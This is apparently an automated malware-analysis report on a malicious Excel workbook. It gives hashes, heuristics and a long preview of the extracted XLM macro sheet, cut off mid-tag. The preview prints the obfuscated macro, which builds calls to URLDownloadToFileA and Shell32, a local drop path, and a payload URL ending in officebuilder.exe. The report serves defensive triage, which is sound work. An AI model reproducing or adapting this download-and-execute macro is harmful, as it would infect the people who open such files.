Office (OOXML) malware analysis — malicious · 01eaaa2928a22c5c

MALICIOUS

Office (OOXML)

37.5 KB Created: 2020-05-16 22:43:13 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-09-15

MD5: 942b364f66c6fa5ffbba9d66252b219e SHA-1: 3fff22e166bbaec0a1a9fdbaf536da90dcb96cde SHA-256: 01eaaa2928a22c5c7dffdb35671309f8dbe375f23d46579ba6be773beafe2c3e

210 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically using the RUN function to execute external code. The heuristics indicate the use of dangerous XLM formula APIs like RUN, CALL, and HALT, which are often used to download and execute payloads. The embedded URL http://cloud-server-updater7.co.za/doc/officebuilder.exe is highly suspicious and likely points to the second-stage payload.

Heuristics 6

Excel 4.0 macro sheet (1 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET

Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME

Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
Dangerous XLM formula APIs: RUN, CALL, HALT critical OOXML_XLM_DANGEROUS_FN

Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET

Excel workbook contains 5 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://cloud-server-updater7.co.za/doc/officebuilder.exe In document text (OOXML body / shared strings)
- http://cloud-server-updater7In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`xlm_sheet_00.xml`	xlm-macrosheet	OOXML XLM macro sheet: xl/macrosheets/sheet1.xml	66538 bytes
SHA-256: `64e6c2a0536e5175aa5a172185a9237504dc314730b99e8ee6a105d6c82870c9`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 2 shell/COM execution token(s).
Preview script First 1,000 lines of the extracted script <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{762121FF-16FC-40D9-9E2F-32BFFD25665A}"><dimension ref="A3:IO1999"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><sheetData><row r="3" spans="78:212" x14ac:dyDescent="0.25"><c r="GK3" t="str"><f>CHAR($IF$1913-952)</f><v>d</v></c></row><row r="4" spans="78:212" x14ac:dyDescent="0.25"><c r="EK4" t="b"><f>RUN($BF$1659)</f><v>0</v></c></row><row r="9" spans="78:212" x14ac:dyDescent="0.25"><c r="CV9"><v>513</v></c><c r="HD9" t="b"><f>RUN($EG$1823)</f><v>0</v></c></row><row r="15" spans="78:212" x14ac:dyDescent="0.25"><c r="DK15" t="str"><f>CHAR($DX$442-955)</f><v>x</v></c></row><row r="16" spans="78:212" x14ac:dyDescent="0.25"><c r="BZ16"><v>14</v></c></row><row r="20" spans="29:201" x14ac:dyDescent="0.25"><c r="AH20" t="str"><f>CHAR($HW$1271-403)</f><v>M</v></c></row><row r="22" spans="29:201" x14ac:dyDescent="0.25"><c r="GS22" t="str"><f>CHAR($DG$1935-403)</f><v>e</v></c></row><row r="23" spans="29:201" x14ac:dyDescent="0.25"><c r="CJ23"><v>15</v></c></row><row r="24" spans="29:201" x14ac:dyDescent="0.25"><c r="AC24" t="b"><f>RUN($IL$590)</f><v>0</v></c></row><row r="25" spans="29:201" x14ac:dyDescent="0.25"><c r="BY25" t="b"><f>RUN($EM$769)</f><v>0</v></c></row><row r="26" spans="29:201" x14ac:dyDescent="0.25"><c r="EG26"><v>1066</v></c><c r="GG26" t="str"><f>CONCATENATE($HA$1406,$AX$1071,$BO$661,$FQ$1102,$FE$1337,$BQ$49,$AI$1496,$CW$335,$DY$478,$DT$1166,$HD$1857,$BE$894,$BB$936,$CB$686,$CI$34,$ED$1677,$FZ$1651,$B$1720,$GT$921,$FF$1864,$CS$1926,$AK$33,$GZ$1236,$FT$678,$DG$495,$GT$356,$CN$1865)</f><v>co.za/doc/officebuilder.exe</v></c></row><row r="33" spans="7:219" x14ac:dyDescent="0.25"><c r="AK33" t="str"><f>CHAR($BA$1008-496)</f><v>e</v></c><c r="GR33"><v>67</v></c></row><row r="34" spans="7:219" x14ac:dyDescent="0.25"><c r="CI34" t="str"><f>CHAR($BB$1223-496)</f><v>c</v></c><c r="EF34" t="b"><f>RUN($CI$112)</f><v>0</v></c><c r="FE34"><v>59</v></c></row><row r="38" spans="7:219" x14ac:dyDescent="0.25"><c r="BF38"><v>88</v></c></row><row r="39" spans="7:219" x14ac:dyDescent="0.25"><c r="ED39"><v>65</v></c><c r="HK39"><v>1020</v></c></row><row r="40" spans="7:219" x14ac:dyDescent="0.25"><c r="G40"><v>1071</v></c></row><row r="41" spans="7:219" x14ac:dyDescent="0.25"><c r="J41" t="b"><f>RUN($FC$1856)</f><v>0</v></c><c r="ET41" t="b"><f>RUN($CR$1518)</f><v>0</v></c></row><row r="49" spans="18:243" x14ac:dyDescent="0.25"><c r="BQ49" t="str"><f>CHAR($HF$283-496)</f><v>/</v></c></row><row r="52" spans="18:243" x14ac:dyDescent="0.25"><c r="Y52" t="b"><f>RUN($GW$1718)</f><v>0</v></c></row><row r="54" spans="18:243" x14ac:dyDescent="0.25"><c r="R54" t="str"><f>CHAR($AV$981-496)</f><v>t</v></c><c r="BB54" t="str"><f>$HN$777</f><v>http://cloud-server-updater7.co.za/doc/officebuilder.exe</v></c></row><row r="55" spans="18:243" x14ac:dyDescent="0.25"><c r="GF55"><v>1063</v></c></row><row r="62" spans="18:243" x14ac:dyDescent="0.25"><c r="II62" t="b"><f>RUN($CN$476)</f><v>0</v></c></row><row r="63" spans="18:243" x14ac:dyDescent="0.25"><c r="BR63"><v>61</v></c></row><row r="69" spans="92:231" x14ac:dyDescent="0.25"><c r="CN69"><v>53</v></c><c r="GA69" t="str"><f>CHAR($FA$215-496)</f><v>p</v></c></row><row r="74" spans="92:231" x14ac:dyDescent="0.25"><c r="DZ74"><v>71</v></c></row><row r="77" spans="92:231" x14ac:dyDescent="0.25"><c r="FB77"><v>20</v></c></row><row r="80" spans="92:231" x14ac:dyDescent="0.25"><c r="HW80" t="str"><f>CHAR($AN$1397-496)</f><v>r</v></c></row><row r="82" spans="41:230" x14ac:dyDescent="0.25"><c r="DF82"><v>60</v></c></row><row r="84" spans="41:230" x14ac:dyDescent="0.25"><c r="CE84"><v>57</v></c></row><row r="86" spans="41:230" x14ac:dyDescent="0.25"><c r="HV86" t="str"><f>CHAR($FD$1134-955)</f><v>e</v></c></row><row r="87" spans="41:230" x14ac:dyDescent="0.25"><c r="BP87"><v>1044</v></c></row><row r="89" spans="41:230" x14ac:dyDescent="0.25"><c r="BQ89" t="str"><f>CHAR($M$1600-952)</f><v>l</v></c></row><row r="90" spans="41:230" x14ac:dyDescent="0.25"><c r="AO90"><v>65</v></c></row><row r="92" spans="41:230" x14ac:dyDescent="0.25"><c r="BB92"><v>71</v></c></row><row r="95" spans="41:230" x14ac:dyDescent="0.25"><c r="BI95"><v>542</v></c></row><row r="98" spans="12:210" x14ac:dyDescent="0.25"><c r="GC98"><v>6</v></c><c r="GN98"><v>83</v></c><c r="HB98" t="str"><f>CONCATENATE($BF$239)</f><v>e</v></c></row><row r="100" spans="12:210" x14ac:dyDescent="0.25"><c r="L100"><v>89</v></c><c r="DO100" t="str"><f>CHAR($DF$1660-955)</f><v>A</v></c></row><row r="108" spans="12:210" x14ac:dyDescent="0.25"><c r="BQ108" t="b"><f>RUN($IL$1223)</f><v>0</v></c><c r="CY108" t="str"><f>CHAR($BX$200-955)</f><v>e</v></c></row><row r="111" spans="12:210" x14ac:dyDescent="0.25"><c r="Q111"><v>1073</v></c></row><row r="112" spans="12:210" x14ac:dyDescent="0.25"><c r="CI112" t="b"><f>RUN($AP$594)</f><v>0</v></c></row><row r="113" spans="17:236" x14ac:dyDescent="0.25"><c r="CU113" t="str"><f>CHAR($FW$1131-496)</f><v>v</v></c></row><row r="120" spans="17:236" x14ac:dyDescent="0.25"><c r="IB120" t="b"><f>RUN($AT$965)</f><v>0</v></c></row><row r="125" spans="17:236" x14ac:dyDescent="0.25"><c r="EB125" t="b"><f>RUN($CR$1836)</f><v>0</v></c><c r="FJ125"><v>80</v></c></row><row r="126" spans="17:236" x14ac:dyDescent="0.25"><c r="Q126"><v>40</v></c></row><row r="128" spans="17:236" x14ac:dyDescent="0.25"><c r="FD128" t="b"><f>RUN($CI$476)</f><v>0</v></c></row><row r="130" spans="95:226" x14ac:dyDescent="0.25"><c r="EG130" t="str"><f>CHAR($W$1594-403)</f><v>S</v></c></row><row r="132" spans="95:226" x14ac:dyDescent="0.25"><c r="GO132" t="b"><f>RUN($AP$1533)</f><v>0</v></c><c r="HR132" t="b"><f>RUN($CS$1041)</f><v>0</v></c></row><row r="134" spans="95:226" x14ac:dyDescent="0.25"><c r="DA134" t="str"><f>CHAR($DH$348-952)</f><v>V</v></c></row><row r="141" spans="95:226" x14ac:dyDescent="0.25"><c r="CQ141"><v>80</v></c></row><row r="149" spans="76:209" x14ac:dyDescent="0.25"><c r="FU149" t="b"><f>RUN($BD$1495)</f><v>0</v></c></row><row r="153" spans="76:209" x14ac:dyDescent="0.25"><c r="DE153" t="b"><f>RUN($BY$25)</f><v>0</v></c></row><row r="154" spans="76:209" x14ac:dyDescent="0.25"><c r="GX154"><v>595</v></c><c r="HA154" t="b"><f>RUN($HA$1042)</f><v>0</v></c></row><row r="156" spans="76:209" x14ac:dyDescent="0.25"><c r="BX156"><v>1055</v></c><c r="DM156"><v>598</v></c></row><row r="164" spans="9:238" x14ac:dyDescent="0.25"><c r="BV164"><v>543</v></c></row><row r="167" spans="9:238" x14ac:dyDescent="0.25"><c r="M167"><v>47</v></c></row><row r="170" spans="9:238" x14ac:dyDescent="0.25"><c r="HQ170"><v>16</v></c></row><row r="172" spans="9:238" x14ac:dyDescent="0.25"><c r="ID172" t="b"><f>RUN($BG$1460)</f><v>0</v></c></row><row r="173" spans="9:238" x14ac:dyDescent="0.25"><c r="I173" t="str"><f>CHAR($HW$1793-403)</f><v>l</v></c></row><row r="176" spans="9:238" x14ac:dyDescent="0.25"><c r="GV176" t="b"><f>RUN($AV$1460)</f><v>0</v></c><c r="HG176"><v>1063</v></c></row><row r="177" spans="27:227" x14ac:dyDescent="0.25"><c r="HS177" t="str"><f>CHAR($EQ$1360-496)</f><v>/</v></c></row><row r="178" spans="27:227" x14ac:dyDescent="0.25"><c r="GI178" t="b"><f>RUN($AL$335)</f><v>0</v></c></row><row r="183" spans="27:227" x14ac:dyDescent="0.25"><c r="GT183" t="b"><f>RUN($BQ$108)</f><v>0</v></c></row><row r="189" spans="27:227" x14ac:dyDescent="0.25"><c r="AA189" t="str"><f>CHAR($AA$1973-955)</f><v>h</v></c></row><row r="195" spans="9:183" x14ac:dyDescent="0.25"><c r="GA195"><v>22</v></c></row><row r="198" spans="9:183" x14ac:dyDescent="0.25"><c r="AC198"><v>75</v></c></row><row r="199" spans="9:183" x14ac:dyDescent="0.25"><c r="I199"><v>80</v></c><c r="AV199" t="b"><f>RUN($ET$1045)</f><v>0</v></c></row><row r="200" spans="9:183" x14ac:dyDescent="0.25"><c r="BX200"><v>1056</v></c></row><row r="205" spans="9:183" x14ac:dyDescent="0.25"><c r="BW205" t="str"><f>CHAR($S$743-955)</f><v>o</v></c></row><row r="206" spans="9:183" x14ac:dyDescent="0.25"><c r="AX206"><v>18</v></c></row><row r="213" spans="2:157" x14ac:dyDescent="0.25"><c r="EF213"><v>95</v></c><c r="EI213"><v>608</v></c></row><row r="215" spans="2:157" x14ac:dyDescent="0.25"><c r="FA215"><v>608</v></c></row><row r="218" spans="2:157" x14ac:dyDescent="0.25"><c r="B218" t="b"><f>RUN($EK$900)</f><v>0</v></c></row><row r="221" spans="2:157" x14ac:dyDescent="0.25"><c r="P221"><v>57</v></c></row><row r="226" spans="58:99" x14ac:dyDescent="0.25"><c r="CU226" t="str"><f>CHAR($DW$1160-952)</f><v>Z</v></c></row><row r="238" spans="58:99" x14ac:dyDescent="0.25"><c r="BP238"><v>79</v></c></row><row r="239" spans="58:99" x14ac:dyDescent="0.25"><c r="BF239" t="str"><f>CHAR($FG$1287-952)</f><v>e</v></c></row><row r="248" spans="34:164" x14ac:dyDescent="0.25"><c r="FH248"><v>80</v></c></row><row r="249" spans="34:164" x14ac:dyDescent="0.25"><c r="DB249" t="b"><f>RUN($DU$775)</f><v>0</v></c></row><row r="251" spans="34:164" x14ac:dyDescent="0.25"><c r="EH251"><v>1067</v></c></row><row r="256" spans="34:164" x14ac:dyDescent="0.25"><c r="AH256"><v>90</v></c></row><row r="259" spans="47:249" x14ac:dyDescent="0.25"><c r="BI259" t="str"><f>CHAR($CV$9-403)</f><v>n</v></c></row><row r="264" spans="47:249" x14ac:dyDescent="0.25"><c r="IJ264"><v>48</v></c></row><row r="272" spans="47:249" x14ac:dyDescent="0.25"><c r="AU272"><v>598</v></c><c r="AY272" t="b"><f>RUN($GK$502)</f><v>0</v></c><c r="IO272"><v>93</v></c></row><row r="273" spans="10:214" x14ac:dyDescent="0.25"><c r="BF273"><v>39</v></c><c r="BG273"><v>25</v></c></row><row r="276" spans="10:214" x14ac:dyDescent="0.25"><c r="J276"><v>601</v></c></row><row r="283" spans="10:214" x14ac:dyDescent="0.25"><c r="HF283"><v>543</v></c></row><row r="289" spans="42:186" x14ac:dyDescent="0.25"><c r="BE289" t="b"><f>RUN($Q$1647)</f><v>0</v></c></row><row r="291" spans="42:186" x14ac:dyDescent="0.25"><c r="AP291" t="b"><f>RUN($IL$1845)</f><v>0</v></c></row><row r="293" spans="42:186" x14ac:dyDescent="0.25"><c r="BP293"><v>60</v></c></row><row r="294" spans="42:186" x14ac:dyDescent="0.25"><c r="DR294" t="b"><f>RUN($GT$1541)</f><v>0</v></c><c r="EY294" t="str"><f>CHAR($CE$1551-955)</f><v>A</v></c></row><row r="297" spans="42:186" x14ac:dyDescent="0.25"><c r="CX297"><v>41</v></c></row><row r="299" spans="42:186" x14ac:dyDescent="0.25"><c r="CM299"><v>86</v></c></row><row r="304" spans="42:186" x14ac:dyDescent="0.25"><c r="GD304"><v>86</v></c></row><row r="310" spans="99:235" x14ac:dyDescent="0.25"><c r="CU310" t="b"><f>RUN($FA$978)</f><v>0</v></c></row><row r="313" spans="99:235" x14ac:dyDescent="0.25"><c r="FQ313"><v>612</v></c></row><row r="314" spans="99:235" x14ac:dyDescent="0.25"><c r="IA314"><v>1052</v></c></row><row r="320" spans="99:235" x14ac:dyDescent="0.25"><c r="EU320"><v>1022</v></c></row><row r="325" spans="6:210" x14ac:dyDescent="0.25"><c r="DB325" t="str"><f>CHAR($AG$888-403)</f><v>e</v></c><c r="HB325" t="str"><f>CHAR($DL$462-952)</f><v>\</v></c></row><row r="326" spans="6:210" x14ac:dyDescent="0.25"><c r="N326" t="str"><f>CHAR($DX$1387-952)</f><v>R</v></c></row><row r="327" spans="6:210" x14ac:dyDescent="0.25"><c r="L327"><v>94</v></c><c r="EP327"><v>597</v></c><c r="FO327"><v>1021</v></c></row><row r="328" spans="6:210" x14ac:dyDescent="0.25"><c r="BY328" t="str"><f>CONCATENATE($BL$722)</f><v>Open</v></c></row><row r="329" spans="6:210" x14ac:dyDescent="0.25"><c r="F329" t="str"><f>CHAR($BI$95-496)</f><v>.</v></c></row><row r="335" spans="6:210" x14ac:dyDescent="0.25"><c r="AL335" t="b"><f>RUN($CH$1863)</f><v>0</v></c><c r="CW335" t="str"><f>CHAR($BE$1593-496)</f><v>o</v></c></row><row r="338" spans="112:241" x14ac:dyDescent="0.25"><c r="IG338"><v>89</v></c></row><row r="339" spans="112:241" x14ac:dyDescent="0.25"><c r="HI339"><v>83</v></c></row><row r="343" spans="112:241" x14ac:dyDescent="0.25"><c r="EV343"><v>594</v></c></row><row r="346" spans="112:241" x14ac:dyDescent="0.25"><c r="EC346"><v>593</v></c></row><row r="348" spans="112:241" x14ac:dyDescent="0.25"><c r="DH348"><v>1038</v></c></row><row r="351" spans="112:241" x14ac:dyDescent="0.25"><c r="IE351" t="str"><f>CONCATENATE($GA$508,$CV$1264,$HV$86,$GC$1234,$CV$1395,$CY$108,$CG$1455,$GW$530,$HW$1556,$EJ$1261,$BD$1327,$CX$642,$AU$1360,$EW$592,$FH$390,$DO$100)</f><v>CreateDirectoryA</v></c></row><row r="354" spans="60:202" x14ac:dyDescent="0.25"><c r="FI354" t="str"><f>CHAR($AP$1819-496)</f><v>u</v></c></row><row r="356" spans="60:202" x14ac:dyDescent="0.25"><c r="DT356"><v>84</v></c><c r="GT356" t="str"><f>CHAR($FO$429-496)</f><v>x</v></c></row><row r="365" spans="60:202" x14ac:dyDescent="0.25"><c r="BH365"><v>504</v></c></row><row r="367" spans="60:202" x14ac:dyDescent="0.25"><c r="EG367"><v>18</v></c></row><row r="368" spans="60:202" x14ac:dyDescent="0.25"><c r="CG368" t="str"><f>CHAR($HG$176-952)</f><v>o</v></c></row><row r="370" spans="44:234" x14ac:dyDescent="0.25"><c r="AR370"><v>72</v></c><c r="GO370" t="b"><f>RUN($GO$132)</f><v>0</v></c></row><row r="374" spans="44:234" x14ac:dyDescent="0.25"><c r="CZ374" t="b"><f>RUN($B$218)</f><v>0</v></c></row><row r="382" spans="44:234" x14ac:dyDescent="0.25"><c r="HZ382"><v>77</v></c></row><row r="390" spans="104:243" x14ac:dyDescent="0.25"><c r="EV390" t="str"><f>CHAR($BV$164-496)</f><v>/</v></c><c r="FH390" t="str"><f>CHAR($CX$1191-955)</f><v>y</v></c></row><row r="391" spans="104:243" x14ac:dyDescent="0.25"><c r="GR391"><v>1065</v></c><c r="II391"><v>1056</v></c></row><row r="392" spans="104:243" x14ac:dyDescent="0.25"><c r="DQ392" t="str"><f>CHAR($EP$327-496)</f><v>e</v></c></row><row r="397" spans="104:243" x14ac:dyDescent="0.25"><c r="II397" t="b"><f>RUN($HW$1318)</f><v>0</v></c></row><row r="398" spans="104:243" x14ac:dyDescent="0.25"><c r="CZ398"><v>454</v></c></row><row r="400" spans="104:243" x14ac:dyDescent="0.25"><c r="FO400"><v>1038</v></c></row><row r="408" spans="5:128" x14ac:dyDescent="0.25"><c r="AT408" t="str"><f>CHAR($GI$1586-955)</f><v>e</v></c><c r="CU408" t="str"><f>CHAR($GK$793-955)</f><v>n</v></c></row><row r="409" spans="5:128" x14ac:dyDescent="0.25"><c r="BX409" t="b"><f>RUN($DX$1515)</f><v>0</v></c></row><row r="411" spans="5:128" x14ac:dyDescent="0.25"><c r="DX411" t="b"><f>RUN($O$1959)</f><v>0</v></c></row><row r="415" spans="5:128" x14ac:dyDescent="0.25"><c r="K415"><v>79</v></c></row><row r="416" spans="5:128" x14ac:dyDescent="0.25"><c r="E416" t="str"><f>CONCATENATE($CV$1036,$HB$98)</f><v>C:\EmlZMmJ\VkRiVZy\qpdxoft.exe</v></c></row><row r="417" spans="25:234" x14ac:dyDescent="0.25"><c r="GT417"><v>1023</v></c></row><row r="420" spans="25:234" x14ac:dyDescent="0.25"><c r="DE420" t="b"><f>RUN($ID$1673)</f><v>0</v></c><c r="HZ420" t="b"><f>RUN($ED$1867)</f><v>0</v></c></row><row r="421" spans="25:234" x14ac:dyDescent="0.25"><c r="AY421" t="str"><f>CHAR($EC$1577-955)</f><v>w</v></c></row><row r="427" spans="25:234" x14ac:dyDescent="0.25"><c r="AO427" t="str"><f>CHAR($CS$1899-955)</f><v>l</v></c><c r="GO427" t="str"><f>CHAR($ES$1966-403)</f><v>l</v></c></row><row r="429" spans="25:234" x14ac:dyDescent="0.25"><c r="FO429"><v>616</v></c></row><row r="431" spans="25:234" x14ac:dyDescent="0.25"><c r="Y431" t="b"><f>RUN($EK$4)</f><v>0</v></c></row><row r="435" spans="14:214" x14ac:dyDescent="0.25"><c r="HF435" t="b"><f>RUN($X$1504)</f><v>0</v></c></row><row r="441" spans="14:214" x14ac:dyDescent="0.25"><c r="N441" t="b"><f>RUN($EY$1463)</f><v>0</v></c></row><row r="442" spans="14:214" x14ac:dyDescent="0.25"><c r="DX442"><v>1075</v></c></row><row r="444" spans="14:214" x14ac:dyDescent="0.25"><c r="CO444" t="b"><f>RUN($DR$294)</f><v>0</v></c></row><row r="446" spans="14:214" x14ac:dyDescent="0.25"><c r="BS446"><v>1023</v></c></row><row r="454" spans="55:244" x14ac:dyDescent="0.25"><c r="IJ454"><v>69</v></c></row><row r="456" spans="55:244" x14ac:dyDescent="0.25"><c r="HR456"><v>46</v></c></row><row r="458" spans="55:244" x14ac:dyDescent="0.25"><c r="DX458"><v>47</v></c><c r="HX458"><v>613</v></c></row><row r="461" spans="55:244" x14ac:dyDescent="0.25"><c r="FH461" t="str"><f>CHAR($BB$1553-952)</f><v>e</v></c></row><row r="462" spans="55:244" x14ac:dyDescent="0.25"><c r="DL462"><v>1044</v></c></row><row r="463" spans="55:244" x14ac:dyDescent="0.25"><c r="BC463" t="str"><f>CONCATENATE($FJ$1398,$ET$1403,$FH$805,$FQ$1217,$DB$1244,$AY$421,$EP$798,$K$1351,$BW$205,$HM$957,$J$1785,$X$875,$HF$1802,$AX$1841,$I$1210,$AO$427,$AG$1692,$AK$1045)</f><v>URLDownloadToFileA</v></c></row><row r="465" spans="87:228" x14ac:dyDescent="0.25"><c r="DT465" t="str"><f>CHAR($EC$346-496)</f><v>a</v></c><c r="HK465"><v>55</v></c><c r="HT465"><v>1026</v></c></row><row r="469" spans="87:228" x14ac:dyDescent="0.25"><c r="HH469"><v>71</v></c></row><row r="476" spans="87:228" x14ac:dyDescent="0.25"><c r="CI476" t="b"><f>RUN($GV$1751)</f><v>0</v></c><c r="CN476" t="b"><f>RUN($GV$176)</f><v>0</v></c></row><row r="478" spans="87:228" x14ac:dyDescent="0.25"><c r="DY478" t="str"><f>CHAR($O$1893-496)</f><v>c</v></c><c r="ES478"><v>1034</v></c></row><row r="483" spans="43:177" x14ac:dyDescent="0.25"><c r="FU483" t="str"><f>CHAR($BC$892-496)</f><v>e</v></c></row><row r="485" spans="43:177" x14ac:dyDescent="0.25"><c r="AQ485" t="str"><f>CHAR($I$1581-496)</f><v>7</v></c></row><row r="495" spans="43:177" x14ac:dyDescent="0.25"><c r="DG495" t="str"><f>CHAR($FZ$809-496)</f><v>e</v></c></row><row r="496" spans="43:177" x14ac:dyDescent="0.25"><c r="EE496"><v>78</v></c></row><row r="497" spans="45:199" x14ac:dyDescent="0.25"><c r="FK497"><v>95</v></c></row><row r="501" spans="45:199" x14ac:dyDescent="0.25"><c r="AS501"><v>8</v></c></row><row r="502" spans="45:199" x14ac:dyDescent="0.25"><c r="GK502" t="b"><f>RUN($BX$409)</f><v>0</v></c></row><row r="507" spans="45:199" x14ac:dyDescent="0.25"><c r="GQ507"><v>35</v></c></row><row r="508" spans="45:199" x14ac:dyDescent="0.25"><c r="GA508" t="str"><f>CHAR($EU$320-955)</f><v>C</v></c></row><row r="512" spans="45:199" x14ac:dyDescent="0.25"><c r="GC512"><v>39</v></c></row><row r="517" spans="36:64" x14ac:dyDescent="0.25"><c r="BL517" t="b"><f>RUN($BG$1183)</f><v>0</v></c></row><row r="521" spans="36:64" x14ac:dyDescent="0.25"><c r="AJ521" t="str"><f>CONCATENATE($EG$130,$BG$1055,$GS$22,$I$173,$AZ$1925,$EF$1760,$FD$1079)</f><v>Shell32</v></c></row><row r="530" spans="30:214" x14ac:dyDescent="0.25"><c r="DV530"><v>49</v></c><c r="GW530" t="str"><f>CHAR($HS$715-955)</f><v>i</v></c></row><row r="539" spans="30:214" x14ac:dyDescent="0.25"><c r="HF539"><v>72</v></c></row><row r="543" spans="30:214" x14ac:dyDescent="0.25"><c r="AD543" t="str"><f>CHAR($AF$1324-952)</f><v>:</v></c></row><row r="545" spans="38:237" x14ac:dyDescent="0.25"><c r="AL545" t="b"><f>RUN($GO$728)</f><v>0</v></c><c r="IC545"><v>1019</v></c></row><row r="555" spans="38:237" x14ac:dyDescent="0.25"><c r="AR555"><v>13</v></c><c r="FM555"><v>554</v></c></row><row r="560" spans="38:237" x14ac:dyDescent="0.25"><c r="GF560"><v>53</v></c></row><row r="564" spans="83:174" x14ac:dyDescent="0.25"><c r="FR564" t="str"><f>CHAR($DZ$1358-403)</f><v>U</v></c></row><row r="567" spans="83:174" x14ac:dyDescent="0.25"><c r="CE567" t="str"><f>CHAR($AH$1202-955)</f><v>e</v></c></row><row r="569" spans="83:174" x14ac:dyDescent="0.25"><c r="FH569"><v>85</v></c></row><row r="578" spans="5:246" x14ac:dyDescent="0.25"><c r="GM578"><v>31</v></c></row><row r="582" spans="5:246" x14ac:dyDescent="0.25"><c r="CR582" t="str"><f>CHAR($FC$775-403)</f><v>O</v></c></row><row r="583" spans="5:246" x14ac:dyDescent="0.25"><c r="E583" t="str"><f>CHAR($HV$1888-952)</f><v>i</v></c></row><row r="585" spans="5:246" x14ac:dyDescent="0.25"><c r="HC585" t="b"><f>RUN($IJ$1541)</f><v>0</v></c></row><row r="589" spans="5:246" x14ac:dyDescent="0.25"><c r="ED589"><v>47</v></c></row><row r="590" spans="5:246" x14ac:dyDescent="0.25"><c r="IL590" t="b"><f>RUN($GM$1067)</f><v>0</v></c></row><row r="592" spans="5:246" x14ac:dyDescent="0.25"><c r="EW592" t="str"><f>CHAR($FI$1920-955)</f><v>r</v></c><c r="HF592"><v>607</v></c></row><row r="593" spans="13:233" x14ac:dyDescent="0.25"><c r="AS593"><v>99</v></c><c r="GO593"><v>95</v></c></row><row r="594" spans="13:233" x14ac:dyDescent="0.25"><c r="AP594" t="b"><f>RUN($HF$435)</f><v>0</v></c></row><row r="598" spans="13:233" x14ac:dyDescent="0.25"><c r="M598" t="str"><f>CONCATENATE($DT$1390)</f><v>URLMON</v></c></row><row r="600" spans="13:233" x14ac:dyDescent="0.25"><c r="DL600"><v>93</v></c></row><row r="602" spans="13:233" x14ac:dyDescent="0.25"><c r="HY602"><v>56</v></c></row><row r="605" spans="13:233" x14ac:dyDescent="0.25"><c r="CC605" t="b"><f>RUN($S$1077)</f><v>0</v></c></row><row r="607" spans="13:233" x14ac:dyDescent="0.25"><c r="BJ607" t="b"><f>RUN($AO$1189)</f><v>0</v></c></row><row r="614" spans="3:133" x14ac:dyDescent="0.25"><c r="EC614" t="b"><f>RUN($FS$1974)</f><v>0</v></c></row><row r="618" spans="3:133" x14ac:dyDescent="0.25"><c r="BM618" t="str"><f>CHAR($HT$465-952)</f><v>J</v></c></row><row r="619" spans="3:133" x14ac:dyDescent="0.25"><c r="C619"><v>1069</v></c></row><row r="624" spans="3:133" x14ac:dyDescent="0.25"><c r="AK624" t="str"><f>CHAR($HP$1114-952)</f><v>Z</v></c><c r="DX624" t="str"><f>CHAR($FG$1156-496)</f><v>t</v></c></row><row r="625" spans="2:195" x14ac:dyDescent="0.25"><c r="GM625"><v>25</v></c></row><row r="629" spans="2:195" x14ac:dyDescent="0.25"><c r="AV629"><v>20</v></c></row><row r="632" spans="2:195" x14ac:dyDescent="0.25"><c r="EV632"><v>453</v></c></row><row r="633" spans="2:195" x14ac:dyDescent="0.25"><c r="CB633" t="b"><f>RUN($CM$1562)</f><v>0</v></c></row><row r="636" spans="2:195" x14ac:dyDescent="0.25"><c r="BT636" t="b"><f>RUN($CF$764)</f><v>0</v></c></row><row r="637" spans="2:195" x14ac:dyDescent="0.25"><c r="B637"><v>453</v></c></row><row r="640" 